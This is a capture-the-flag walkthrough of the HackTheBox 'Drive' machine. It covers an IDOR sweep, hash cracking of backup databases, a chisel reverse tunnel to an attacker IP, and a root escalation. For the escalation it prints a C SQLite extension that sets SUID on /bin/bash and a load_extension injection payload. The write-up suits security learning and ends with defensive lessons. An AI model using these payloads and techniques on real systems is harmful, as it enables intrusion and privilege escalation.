Drive
Box Info
Platform: HackTheBox, OS: Linux (Ubuntu 20.04), Difficulty: Hard, Released: 2024-02-17, IP: 10.10.11.235 , drive.htb
Attack Path
- “Doodle Grive” file sharing app. Register, upload, and notice files are referenced by a sequential numeric id. IDOR on
/<id>/blockreveals other users’ private notes. - A leaked note gives
martin : Xk4@KjyrYv8t194L!. SSH. /var/www/backup/db.sqlite3and archived*_db_backup.sqlite3.7zsnapshots hold Django user hashes. Different months use different hash types, some are unsalted SHA1 (-m 124).- Internal Gitea on
:3000(tunnel with chisel). Log in asmartin.cris’sDoogleDriverepo hasdb_backup.shwith the 7z passwordH@ckThisP@ssW0rDIfY0uC@n:). - Crack the October / November snapshots.
tom : johnmayer7. SSH astom. tomcan run/usr/bin/doodleGrive-cli(password in the repo / app). Its “activate user account” option runssqlite3 ... 'UPDATE ... WHERE username="<you>"'as root, and<you>is injectable."+load_extension(char(...))+"loads a malicious SQLite extension. Root.
Credentials and Flags
| Where | Value |
|---|---|
| leaked note (IDOR) | martin : Xk4@KjyrYv8t194L! |
db_backup.sh in Gitea | 7z password H@ckThisP@ssW0rDIfY0uC@n:) |
| cracked November snapshot | tom : johnmayer7 |
user.txt | /home/tom/user.txt |
root.txt | /root/root.txt |
Overview
Drive is a long “loot the database, over and over” box. An IDOR gives the first credential, then the real work is a chain of SQLite backup snapshots: the app takes password protected 7z backups on a schedule, you find the 7z password in a Gitea repo’s history, and then you crack the right month’s hashes because the developers changed their password (and the hash algorithm) between snapshots. Root is a lovely SQLite injection into a load_extension: a root CLI runs a sqlite3 UPDATE with your username interpolated, and SQLite’s load_extension() will dlopen any .so you name, whose sqlite3_<name>_init runs your code as root.
Related IDOR boxes: Nocturnal, Road. Related Gitea: Cat, Nexus, Titanic. Related “secret in git history”: Nexus, Enterprise. Related SQLite load_extension RCE: this is the reference case.
Full Walkthrough
Nmap scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Doodle Grive
3000/tcp filtered ppp # Gitea, only reachable from inside
IDOR
I registered a throwaway account and started poking around the upload flow, and noticed right away that every file I uploaded showed up at a predictable, sequential numeric id (.../112/, .../113/, and so on). Sequential IDs on an object endpoint are always worth a sweep, so I built a full number range and threw it at Burp Intruder rather than guessing individual values:
seq 0 99999 > numbers.lstThat turned up hits at 79, 98, 99, 101, and visiting /<id>/block (the “block file” / details view) for each of them rendered the note content for files that clearly weren’t mine.
Why /block and not the download
The app checks ownership on the download endpoint but not on the details/block view, which still renders the note body and metadata. That is the IDOR. One note is a message to the team with martin’s server password.
please use the password "Xk4@KjyrYv8t194L!"ssh martin@drive.htbThe SQLite backups
Once I had a shell as martin, I went looking around the web application’s directory structure for anything that looked like it held persistent data, and a backup folder stood out immediately:
ls /var/www/backup/
# db.sqlite3 1_Oct_db_backup.sqlite3.7z 1_Nov_db_backup.sqlite3.7z 1_Dec_db_backup.sqlite3.7z
sqlite3 db.sqlite3 '.tables'
sqlite3 db.sqlite3 'select id,password,username,email from accounts_customuser'22|sha1$E9cadw34Gx4E59Qt18NLXR$60919b...|martinCruz|martin@drive.htb
23|sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb...|tomHands|tom@drive.htb
24|sha1$ALgmoJHkrqcEDinLzpILpD$4b835a...|crisDisel|cris@drive.htb
The current db.sqlite3 handed me the live user table straight away, but the .7z snapshots sitting alongside it were password protected, and given that a hard box rarely gives up its best material for free, I assumed those older backups were where the real prize was hiding.
Gitea, the 7z password
Looking for anything that might explain how those backups get created, I found /usr/local/bin held several service binaries, gitea among them, which told me there was an internal Git instance I hadn’t been able to reach directly since port 3000 only showed up as filtered in my initial scan. Rather than fight the firewall, I tunneled straight through the box I already controlled:
# target
./chisel client 10.10.14.238:8085 R:1080:socks
# attacker
./chisel server --port 8085 --reverseBrowse http://127.0.0.1:3000 through the SOCKS proxy. tom does not log in, but martin : Xk4@KjyrYv8t194L! does. cris’s DoogleDrive repo has db_backup.sh:
7z a -p'H@ckThisP@ssW0rDIfY0uC@n:)' "/var/www/backup/$(date +%d_%b)_db_backup.sqlite3.7z" ...Check git history, not just the tip
Even if db_backup.sh did not have the password on the current branch, git log -p / the Gitea “commits” view would show it. Any secret ever committed is recoverable.
Crack the right snapshot
With the 7z password in hand, I worked through the archived snapshots one month at a time rather than assuming the newest was necessarily the useful one:
7z x -p'H@ckThisP@ssW0rDIfY0uC@n:)' 1_Nov_db_backup.sqlite3.7z
sqlite3 1_Nov_db_backup.sqlite3 'select username,password from accounts_customuser'Different months, different hashes
The December snapshot uses Django’s PBKDF2 (-m 10000), and those do not crack. Earlier snapshots (Oct, Nov) use unsalted SHA1 in Django’s sha1$<salt>$<hash> wrapper. hashcat mode 124 (Django (SHA-1)) handles the format directly. The November tom hash cracks to johnmayer7; the October one is an older password (johniscool) that no longer works.
hashcat -m 124 nov.hashes rockyou.txt
# sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb...:johnmayer7
ssh tom@drive.htb # johnmayer7Privilege Escalation, SQLite injection into load_extension
With a foothold as tom, I went looking for anything he could run with elevated rights, and found a custom binary sitting at /usr/bin/doodleGrive-cli. It prompts for a password that I’d already picked up from the app source and the Gitea repo, and once past that gate it drops into an administrative menu.
SQLite injection via load_extension
Its “activate user account” option does:
/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line \
'UPDATE accounts_customuser SET is_active=1 WHERE username="<INPUT>";'as root, and <INPUT> is interpolated with only a light character filter. SQLite has no stacked queries, but it has load_extension(), which dlopens a shared object and calls sqlite3_<basename>_init. So:
- Compile an extension that runs a command in its init:
// poc.c -> gcc -shared -fPIC -o poc.so poc.c
#include <sqlite3ext.h>
SQLITE_EXTENSION_INIT1
int sqlite3_poc_init(sqlite3 *db, char **err, const sqlite3_api_routines *api){
SQLITE_EXTENSION_INIT2(api);
system("chmod u+s /bin/bash");
return 0;
}- Inject a username that closes the string, calls
load_extension, and re-opens it, usingchar()to smuggle the path past the filter:
username = a" + load_extension(char(46,47,112,111,99)) + " # ./poc(char(46,47,112,111,99) = ./poc; put poc.so in the CLI’s working directory.)
3. load_extension must be enabled, which the CLI’s SQLite build allows. The init runs as root:
/bin/bash -p
cat /root/root.txtLoot
| Flag | Location |
|---|---|
user.txt | /home/tom/user.txt |
root.txt | /root/root.txt |
Lessons and Takeaways
- Check authorization on every endpoint that returns object data, not just the primary one. The
/blockview leaked what/downloadprotected. - Do not store plaintext or reversible secrets in backups, and protect backup archives with a key from a vault, not a script in a repo.
- Rotate credentials that were ever committed to git. History is forever.
- Never interpolate input into a
sqlite3command line. Use bound parameters, and build SQLite withoutload_extension(-DSQLITE_OMIT_LOAD_EXTENSION) for anything that touches untrusted data. - Django’s legacy SHA1 hasher is not acceptable. Force a PBKDF2/argon2 rehash on login.
Related Writeups
- IDOR / broken access control: Nocturnal, Road
- Gitea and secrets in git history: Cat, Nexus, Enterprise, Titanic
- Crack hashes from an app / backup DB: MonitorsTwo, Heal, Bolt
- SQL(ite) injection to code execution: Cat, PC
References
- HTB Drive (0xdf) https://0xdf.gitlab.io/2024/02/17/htb-drive.html
- SQLite load_extension https://www.sqlite.org/loadext.html
- hashcat mode 124 (Django SHA-1) https://hashcat.net/wiki/doku.php?id=example_hashes
- The root privilege escalation via
doodleGrive-cliwas cross-referenced against public writeups for this box.